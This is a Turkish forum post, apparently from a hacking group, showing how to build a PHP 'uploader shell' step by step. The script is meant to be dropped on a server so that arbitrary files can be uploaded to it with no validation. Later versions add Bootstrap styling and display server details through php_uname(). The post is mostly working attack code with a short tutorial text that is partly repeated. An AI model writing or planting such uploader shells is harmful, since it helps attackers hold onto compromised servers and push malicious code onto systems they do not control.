Merhabalar php diline hakim üyelerin kendilerini geliştirebilmesi açısından sıfırdan uploader shell yazacağız görünüme önem verdiğimden dolayı projede bootstrap kullanacağım herhangi bir sorunda konu altına yorum yazabilirseniz müsait vakitte döneceğim
En yalın hali bu şekildedir fakat bunu geliştireceğiz fakat geliştirmeden önce kodları yorumlamak istiyorum
Kodlar anlaşılır bir şekilde yazılmış orta seviye php bilgisine sahip olan birisi rahatlıkla anlayacaktır
bir form oluşturuk ve file name değerine sahip bir input ardından submit değerine sahip dosyasımızı yüklemek için tetikleyeceğimiz bir buton oluşturduk... butona basıldığı an post isteği yakalanıyor ve bulunulan dizine yükleme gerçekleşiyor
Son görünüm bu şekildedir fakat geliştirmeye devam edeceğiz
Bu şekilde başarılı bir şekilde dosyamızı sunucuya yüklüyor fakat farklı özellikler eklenebilir..
php_uname fonksiyonu ile sunucu uname bilgisini çekerek yazdırdık fakat hala eksik olan bir şeyler mevcut... konuyu tekrar güncelleyeceğim yoğunluktan ötürü uzun tutamıyorum sağlıcakla kalın..
PHP:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>İmha Timi Uploader</title>
</head>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>
<?php
if($_POST){
$dosyaUzantisi = substr($_FILES["file"]["name"],-4,4);
$dosyaAdi = substr($_FILES["file"]["name"],0,-4).$dosyaUzantisi;
$dosyaYolu = $dosyaAdi;
if(is_uploaded_file($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"],$dosyaYolu);
}
}
?>
</body>
</html>
En yalın hali bu şekildedir fakat bunu geliştireceğiz fakat geliştirmeden önce kodları yorumlamak istiyorum
Kodlar anlaşılır bir şekilde yazılmış orta seviye php bilgisine sahip olan birisi rahatlıkla anlayacaktır
bir form oluşturuk ve file name değerine sahip bir input ardından submit değerine sahip dosyasımızı yüklemek için tetikleyeceğimiz bir buton oluşturduk... butona basıldığı an post isteği yakalanıyor ve bulunulan dizine yükleme gerçekleşiyor
Son görünüm bu şekildedir fakat geliştirmeye devam edeceğiz
PHP:
PHP:
<?php
if ($_POST) {
$dosyaUzantisi = substr($_FILES["file"]["name"], -4, 4);
$dosyaAdi = substr($_FILES["file"]["name"], 0, -4) . $dosyaUzantisi;
$dosyaYolu = $dosyaAdi;
if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"], $dosyaYolu);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<title>Hello, world!</title>
</head>
<body class="bg-dark">
<br><br>
<center><img width="200" src="logo ekle" alt=""></center>
<br><br>
<center>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="text"/>
<label class="form-label" for="customFile">Default file input example</label>
<input name="file" class="form-control w-25" id="customFile" type="file" />
<br>
<button class="btn btn-light w-25">Yükle</button>
</form>
</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-7+zCNj/IqJ95wo16oMtfsKbZ9ccEh31eOz1HGyDuCQ6wgnyJNSYdrPa03rtR1zdB" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-QJHtvGhmr9XOIpI6YVutG+2QOK9T+ZnN4kzFN1RtK3zEFEIsxhlmWl5/YESvpZ13" crossorigin="anonymous"></script>
</body>
</html>
Bu şekilde başarılı bir şekilde dosyamızı sunucuya yüklüyor fakat farklı özellikler eklenebilir..
Kod:
<?php
if ($_POST) {
$dosyaUzantisi = substr($_FILES["file"]["name"], -4, 4);
$dosyaAdi = substr($_FILES["file"]["name"], 0, -4) . $dosyaUzantisi;
$dosyaYolu = $dosyaAdi;
if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"], $dosyaYolu);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<title>Hello, world!</title>
</head>
<body class="bg-dark">
<br><br>
<center><img width="150" src="logo ekle" alt=""></center>
<br><br>
<center>
<div class="alert alert-primary w-25"><?php echo php_uname(); ?></div>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="text"/>
<label class="form-label" for="customFile">Default file input example</label>
<input name="file" class="form-control w-25" id="customFile" type="file" />
<br>
<button class="btn btn-light w-25">Yükle</button>
</form>
</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-7+zCNj/IqJ95wo16oMtfsKbZ9ccEh31eOz1HGyDuCQ6wgnyJNSYdrPa03rtR1zdB" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-QJHtvGhmr9XOIpI6YVutG+2QOK9T+ZnN4kzFN1RtK3zEFEIsxhlmWl5/YESvpZ13" crossorigin="anonymous"></script>
</body>
</html>
php_uname fonksiyonu ile sunucu uname bilgisini çekerek yazdırdık fakat hala eksik olan bir şeyler mevcut... konuyu tekrar güncelleyeceğim yoğunluktan ötürü uzun tutamıyorum sağlıcakla kalın..

